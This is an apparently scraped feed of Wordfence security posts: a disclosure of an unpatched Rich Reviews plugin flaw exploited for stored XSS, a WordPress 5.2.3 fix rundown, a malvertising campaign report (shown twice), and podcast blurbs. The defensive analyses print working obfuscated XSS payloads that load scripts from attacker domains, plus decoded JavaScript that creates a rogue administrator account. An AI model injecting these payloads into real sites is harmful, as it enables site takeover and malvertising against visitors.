Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild

Description: XSS Via Unauthenticated Plugin Options Update
Affected Plugin: Rich Reviews
Affected Versions: <= 1.7.4
CVSS Score: 8.3 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

The Wordfence Threat Intelligence team is tracking a series of attacks against an unpatched vulnerability in the Rich Reviews plugin for WordPress. The estimated 16,000 sites running the plugin are vulnerable to unauthenticated plugin option updates, which can be used to deliver stored cross-site scripting (XSS) payloads.

Attackers are currently abusing this exploit chain to inject malvertising code into target websites. The malvertising code creates redirects and popup ads. Our team has been tracking this attack campaign since April of this year. You can find additional research covering this attack campaign, published by us in April and again in August of this year.

The Wordfence firewall already has built-in rules that reliably block the XSS injections in this campaign, both for Premium users and those who haven’t upgraded yet. In addition to this, we have released a new firewall rule for our Premium customers to prevent attackers from making configuration changes, such as removing the need for review approval, or defacing certain text elements.

This new Wordfence firewall rule prevents manipulation of the plugin’s settings and has been automatically deployed to our Wordfence Premium customers. The new rule will be released to free users within 30 days.

The plugin’s developers are aware of this vulnerability, but there is no patch currently available. Please see our notes on disclosure below. We recommend users find an alternative solution as soon as possible, or remove the Rich Reviews plugin from your site.

The vulnerability in this plugin is being actively exploited. The Wordfence team is seeing this in our attack data and our Security Services Team has assisted customers of our site cleaning service who have had their site compromised by an attacker who exploited this vulnerability.

Why We Are Disclosing Today

Our published disclosure policy is to ensure that developers have 7 days to fix an actively exploited vulnerability. The Rich Reviews plugin was removed from the WordPress repository 6 months ago. That means that, even if the developers release a fix, customers will not be able to update until the plugin is reinstated in the repository. We saw this forum post 5 days ago describing another site being infected via this vulnerability. At that time the developers responded with the following:

We’ve been working on an overall rewrite of this plugin for a while now, but someone out there apparently wanted us to work faster on it, and decided to exploit our plugin to get some malware out there. We’re now going double-quick on it, and hope to have it back up (and newly cozy and secure) within the next two weeks.

In view of the active exploitation that is affecting the WordPress community, the removal of the plugin from the repository, the inability for WordPress sites to update if a fix is released, and the vague timeline expressed by the developer, we have made the decision to disclose the details of this vulnerability now so that the community can protect themselves immediately.

The Vulnerability At A Glance

The two core issues in the Rich Reviews plugin are a lack of access controls for modifying the plugin’s options, and a subsequent lack of sanitization on the values of those options.

To perform options updates, the plugin checks for the presence of the POST body parameter update. If the expected value is present, the plugin iterates through other options passed through POST and updates their values as needed. Unfortunately, this check is made every time the plugin’s RichReviews class is instantiated regardless of user permissions or the current path. This means all incoming requests are capable of performing these changes.

A number of the vulnerable option values are responsible for customizing text displayed by the plugin. Improper sanitization of these values allows attackers to inject JavaScript payloads which can be triggered by visitors as well as logged-in administrators.

The Attack Campaign

While performing forensic review of an infected site, a security analyst with our site cleaning team identified suspicious log activity associated with the Rich Reviews plugin.

183.90.250.26 - [redacted] "POST /wp-admin/admin-post.php?page=fp_admin_options_page HTTP/1.0" 200 - "-" "-"

An interesting note regarding this log entry is the inclusion of the plugin’s admin-post.php page string. This type of request is commonly seen in cases where an is_admin check is improperly used to test a user’s permissions, such as in this example from earlier this year. However, that workaround is unnecessary in this case, where all incoming requests are checked for options updates regardless of path.

The payloads injected by these attackers are directly associated with a malvertising campaign we’ve reported on previously:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 110, 101, 116, 46, 119, 111, 114, 107, 47, 115, 99, 114, 105, 112, 116, 115, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

The obfuscated payload above executes the following script:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://adsnet.work/scripts/place.js";
document.getElementsByTagName('head')[0].appendChild(script);

This XSS payload is nearly identical to those we’ve identified in this campaign before. The sourced third-party script place.js is similar to others we’ve seen in this malvertising campaign as well, which could trigger popup ads and unwanted redirects.

Indicators of Compromise (IOCs)

Our Threat Intelligence Team releases indicators of compromise where feasible so that other security vendors can add detection capability to their products and provide protection to their customers. The following are IOCs that we have observed associated with this attack campaign.

IP Addresses

The following IP addresses are linked to malicious activity against this vulnerability:

  • 94.229.170.38
  • 183.90.250.26
  • 69.27.116.3

Domain Names

  • adsnet.work – Hosts malicious scripts sourced by XSS injections.
    • Outbound DNS requests to this domain suggest a user on your network may have triggered a potentially dangerous redirect.

Database Content

Injected content will be present in the options table of your WordPress database, with the name rr_options.

Conclusion

Rich Reviews, a plugin with an estimated 16,000 users, was removed from the WordPress plugin repository in March for security reasons. The current version of the plugin contains a highly exploitable options update vulnerability that can be used to inject a stored XSS payload into vulnerable sites. We have identified a known malvertising campaign abusing vulnerable sites in order to deliver popup ads and potentially dangerous redirects.

Wordfence users, both Premium and those still on Free, are already protected from the attacks in this campaign due to the firewall’s robust XSS protection. There is potential for non-XSS abuse of this vulnerability, however, which has prompted us to release a new firewall rule. Wordfence Premium users have received an automatic update containing this new rule, while free users will receive an  update in thirty days.

The plugin’s developers have acknowledged the presence of these issues, but have provided an estimate of two weeks to resolve these vulnerabilities. Due to the length of this patch process and in light of the fact that the plugin has been removed from the official WordPress plugin repository, it is recommended that Rich Reviews users find an alternative solution to ensure the security of their sites.

Please consider sharing this post to help create awareness of this security issue.

The post Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild appeared first on Wordfence.

Read More

Podcast Episode 45: Securing and Scaling eCommerce with Zach Stepek

This week, our lead customer service engineer Tim Cantrell interviews Zach Stepek, CEO of MindSize, a digital agency focused on helping customers scale and succeed with eCommerce. Zach talks about how he got started with WordPress and WooCommerce, new features in JetPack that add functionality to WooCommerce, and how critical security is to site owners no matter what platform they use to sell goods and services online.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

You can find Zach Stepek on Twitter @zstepek and MindSize @MindsizeMe or Mindsize.me. You can find Tim Cantrell on Twitter @tcan1337 and helping Wordfence premium customers at support.wordfence.com. You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.

Please feel free to post your feedback in the comments below.

The post Podcast Episode 45: Securing and Scaling eCommerce with Zach Stepek appeared first on Wordfence.

Read More

Podcast Episode 44: Unpacking the WordPress 5.2.3 Security Release

WordPress core version 5.2.3 was released on September 4. This was a security release patching eight key vulnerabilities in WordPress core, most of which were cross site scripting vulnerabilities. In this episode of Think Like a Hacker, we walk through each of the patched elements of WordPress core and how these vulnerabilities could have been exploited. We also look at the SIM port attack on Jack Dorsey’s Twitter account, and the lessons for all of us in using our cellphones and mobile devices for securing our online accounts.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

Some sources we reference in this week’s episode include:

You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.

Please feel free to post your feedback in the comments below.

The post Podcast Episode 44: Unpacking the WordPress 5.2.3 Security Release appeared first on Wordfence.

Read More

Episode 43: Wordfence Research on Malvertising Campaign Makes the News

This week, we chat about the plan for WordPress 5.3 and some of the new features we will see added to WordPress in November, including many improvements to the editor. We will also see a switch from robots.txt files to meta tags for better control over search engine indexing. We also cover the latest developments with our threat intelligence team’s research into an ongoing malvertising campaign targeting WordPress plugin vulnerabilities. This story received quite a bit of news coverage, and that coverage caused closed-source content management platform Wix to Tweet a cheeky dig at WordPress that fell flat.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

Some sources we reference in this week’s episode include:

You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.

Please feel free to post your feedback in the comments below.

The post Episode 43: Wordfence Research on Malvertising Campaign Makes the News appeared first on Wordfence.

Read More

Episode 43: Wordfence Research on Malvertising Campaign Makes the News

This week, we chat about the plan for WordPress 5.3 and some of the new features we will see added to WordPress in November, including many improvements to the editor. We will also see a switch from robots.txt files to meta tags for better control over search engine indexing. We also cover the latest developments with our threat intelligence team’s research into an ongoing malvertising campaign targeting WordPress plugin vulnerabilities. This story received quite a bit of news coverage, and that coverage caused closed-source content management platform Wix to Tweet a cheeky dig at WordPress that fell flat.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

Some sources we reference in this week’s episode include:

You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.

Please feel free to post your feedback in the comments below.

The post Episode 43: Wordfence Research on Malvertising Campaign Makes the News appeared first on Wordfence.

Read More

The WordPress 5.2.3 Security Release Unpacked

WordPress core version 5.2.3 has just been released. This is a security release which contains several fixes. I’m going to detail each of them below and unpack what each fix means and add any additional info that may be relevant.

Seven of the eight vulnerabilities fixed in this release are cross site scripting (XSS) vulnerabilities. Wordfence includes robust XSS protection in our free and Premium versions which will prevent exploitation of these vulnerabilities. The eighth is an open redirect vulnerability our team is monitoring to determine impact.

WordPress 5.2.3 Security Updates by the Numbers

This release contains eight security fixes which include seven XSS vulnerabilities and an open redirect. As a reminder, an XSS vulnerability is code that allows an attacker to send malicious output to a victim when they visit a website. This can happen because an attacker caused the site to store malicious data which is displayed later to a victim visitor (a stored XSS) or it can happen when an attacker crafts a link that displays malicious code when a victim visits that URL on a website (a reflected XSS).

If you’d like to go deep on cross site scripting (XSS), then visit our learning center article which explains exactly how cross site scripting vulnerabilities are created in PHP code.

This release arrived yesterday evening, so we are expecting full details of each of these vulnerabilities to be released by the researchers some time after the core release. This follows standard disclosure policy and gives WordPress users time to upgrade. In the meantime we will describe what we know about each vulnerability.

1. Cross Site Scripting in Post Previews by Contributors

This is a stored XSS. In examining a diff of the code changes, it appears that there was a stored XSS in the post-status field. That is, the field that stores the current status of a WordPress post. That field does not use a fixed list of possible values like a MySQL ‘enum’ data type, but rather reads the text value of the drop-down list and uses that.

This allows an attacker to create their own value for post-status and use that in a cross site scripting attack.

This is what the code diff looks like in post.js where the fix was implemented:

The attack vector in this case is that a contributor may be able to inject malicious code into post-status, which would then be viewed by a site admin with much higher privileges. That code would be executed by the admin with their privileges and the contributor, who is actually an attacker, would gain admin privileges by using the admin’s permissions to perform various actions.

Our team also speculates that this may be exploitable via malicious language packs, although we have not verified that attack vector.

This vulnerability was discovered by Simon Scannell of RIPS Tech.

2. Cross Site Scripting Vulnerability in Stored Comments

This appears to be a stored XSS and the announcement doesn’t provide any caveats with regards to user permissions. This is worrying because it suggests there is a stored XSS that affects the WordPress commenting system. This alone should strongly encourage users to upgrade ASAP.

The attack vector here would be an attacker posting a comment on a WordPress site and then someone with higher privileges like an admin viewing or moderating the comments and having code executed in their browser which could create a new admin user for the attacker.

This was also reported by Simon Scannell of RIPS.

3. Validation and Sanitization of a URL Leads to Open Redirect

An open redirect vulnerability is one that is often used in phishing campaigns. The vulnerability occurs when a website gives external users the ability to craft URLs that will redirect a visitor from the vulnerable website to any other URL.

In phishing attacks, an attacker will email a victim with the goal of getting them to click on a link. The link is to a trusted website which the victim recognizes. The attacker clicks on the link and one of several scenarios play out.

In a first scenario, the victim is taken directly to a malicious website where a vulnerability in their browser may be exploited.

In a second scenario, the victim may be asked to sign in to the legitimate website and is then directed to a malicious website where they may be asked to reenter their credentials. They may, for example, see a failed login screen and not realize they have been redirected. At this point their credentials are stolen.

In a third scenario, a victim may be redirected to a spam website after they clicked a link that was a URL to a trusted website with an open redirect.

There are many ways for attackers to exploit an open redirect and the severity of this vulnerability type should not be underestimated.

This vulnerability was disclosed by Tim Coen.

4. Reflected Cross Site Scripting During Media Uploads

This is another XSS which occurs during media uploads. In this case a user with lower privileges will upload media to the WordPress site which includes malicious code. This code would then be executed in the context of another user’s browser – and that user would have higher privileges.

In examining the code diff, it appears that until now, if you could jam an XSS payload into a media upload filename, this would result in an XSS. WordPress 5.2.3 no longer allows that attack vector.

This vulnerability was disclosed by Anshul Jain.

5. XSS in Shortcode Previews

Another XSS was fixed in the shortcode preview system. This vulnerability would allow a malicious user with lower privileges to inject code in a shortcode that, when previewed, would be executed in another user’s browser. If that user has higher privileges then the attacker may be able to perform actions as that user.

This vulnerability was discovered by Zhouyuan Yang.

6. XSS in the WordPress Dashboard

Ian Dunn from the WordPress Core security team discovered an XSS vulnerability in the WordPress dashboard. This vulnerability is a reflected XSS, which means that data is not stored, but rather is reflected back to a victim by an attacker. An example of this is if an attacker crafts a malicious link to the WordPress dashboard which causes their attack code to be executed in the browser context of the victim.

Full details of this vulnerability are not available yet, but what may be feasible here is for an attacker to provide a victim with a link to their own WordPress site dashboard. When the victim clicks the link, they visit their own site dashboard and actually execute malicious code, thereby granting the attacker access to their site. The malicious code may create an admin account, modify site content or perform other nefarious actions.

7. URL Sanitization XSS

Soroush Dalili from NCC Group disclosed an XSS vulnerability caused by URLs not being sanitized correctly.

8. jQuery Updated in Older WP Versions to Fix an XSS

jQuery is a javascript library used extensively by WordPress core and plugins and themes. A cross site scripting vulnerability was discovered in jQuery.extend and was fixed in jQuery 3.4.0.

WordPress uses it’s own WP specific version of jQuery. This fix in jQuery 3.4.0 which is detailed on the jQuery site in the changelog, was backported in to the WordPress version of jQuery. That version is listed as jQuery v1.12.4 in the source code comments. And they’ve updated the WordPress jQuery code without incrementing that version number.

Additional Notes

Change in edit-form-blocks.php

We also noticed a change in /wp-admin/edit-form-blocks.php which has switched from using file_exists() to is_file() in a conditional statement. Here is the diff:

When PHP is configured with “allow_url_fopen=On”, certain versions of PHP will allow the file_exists() function to fetch a URL. So this may also be part of a security fix or improvement.

Change in wp-sanitize.js

We noticed that this sanitization routine now includes recursion which will continue to sanitize text until the text no longer changes. It also uses textarea.textContent instead of textarea.innerHTML in the new version. Here is the diff:

What to do Next

At the risk of stating the obvious, update as soon as possible. This is a minor WordPress release, which means that most sites will automatically update.

If you’re running a high traffic production website with a dev/staging/production workflow involving a QA team, you probably need to run 5.2.3 on staging, let your QA team pound on it and then once they have worked through any issues, push to production. This takes time, but considering these vulnerabilities, I would recommend prioritizing this release over other projects.

The researchers who contributed these vulnerabilities to the core dev team will likely be releasing full details of each vulnerability fairly soon now that the core release is out. My guess is that the more professional researchers will release details in a week or two and others may release sooner. Once the details are out, these vulnerabilities are fully exploitable by anyone.

However, it’s worth noting that these vulnerabilities may become exploitable before details are released. The data released so far paints a bullseye on several areas of code in WordPress core, and by looking at a code diff, attackers can reverse engineer these vulnerabilities and develop exploit code themselves. For this reason, I strongly recommend that you update to 5.2.3 as soon as possible if you aren’t automatically updated.

In Closing

We’d like to congratulate the researchers who contributed fixes to WordPress core and express our appreciation to them for following responsible disclosure guidelines. Also thanks to the WP core team for implementing these fixes and helping keep the WordPress community safe.

You can find the official announcement of the WP 5.2.3 release on this page. If you have any questions or comments, please don’t hesitate to post them below and we’ll do our best to answer them in a timely manner. If you are one of the researchers whose work is included above and would like to provide additional detail or corrections, we welcome your comments.

Mark Maunder.

The post The WordPress 5.2.3 Security Release Unpacked appeared first on Wordfence.

Read More

Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

  • Bold Page Builder
  • Blog Designer
  • Live Chat with Facebook Messenger
  • Yuzo Related Posts
  • Visual CSS Style Editor
  • WP Live Chat Support
  • Form Lightbox
  • Hybrid Composer
  • All former NicDark plugins (nd-booking, nd-travel, nd-learning, et. al.)

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

  • yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
  • adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

  • 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins appeared first on Wordfence.

Read More

Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

  • Bold Page Builder
  • Blog Designer
  • Live Chat with Facebook Messenger
  • Yuzo Related Posts
  • Visual CSS Style Editor
  • WP Live Chat Support
  • Form Lightbox
  • Hybrid Composer
  • All former NicDark plugins (nd-booking, nd-travel, nd-learning, et. al.)

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

  • yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
  • adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

  • 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins appeared first on Wordfence.

Read More

Podcast Episode 42: Building WordPress Websites that Convert with Bill Rice

Bill Rice is the CEO of Kaleidico, a digital agency in Michigan. We chatted at WordCamp Minneapolis about WordPress and the community, and his work creating websites that convert. Bill spoke at WordCamp Minneapolis about trends in WordPress website design that allow businesses to deeply engage with site visitors. Mobile browsing has changed the way users interact with the web on all devices, including desktop. In this episode, Bill tells us how this shift creates new opportunities to design compelling digital experiences.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

You can find Bill on Twitter as @billrice and at kaleidico.com. You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.

The post Podcast Episode 42: Building WordPress Websites that Convert with Bill Rice appeared first on Wordfence.

Read More

Podcast Episode 42: Building WordPress Websites that Convert with Bill Rice

Bill Rice is the CEO of Kaleidico, a digital agency in Michigan. We chatted at WordCamp Minneapolis about WordPress and the community, and his work creating websites that convert. Bill spoke at WordCamp Minneapolis about trends in WordPress website design that allow businesses to deeply engage with site visitors. Mobile browsing has changed the way users interact with the web on all devices, including desktop. In this episode, Bill tells us how this shift creates new opportunities to design compelling digital experiences.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

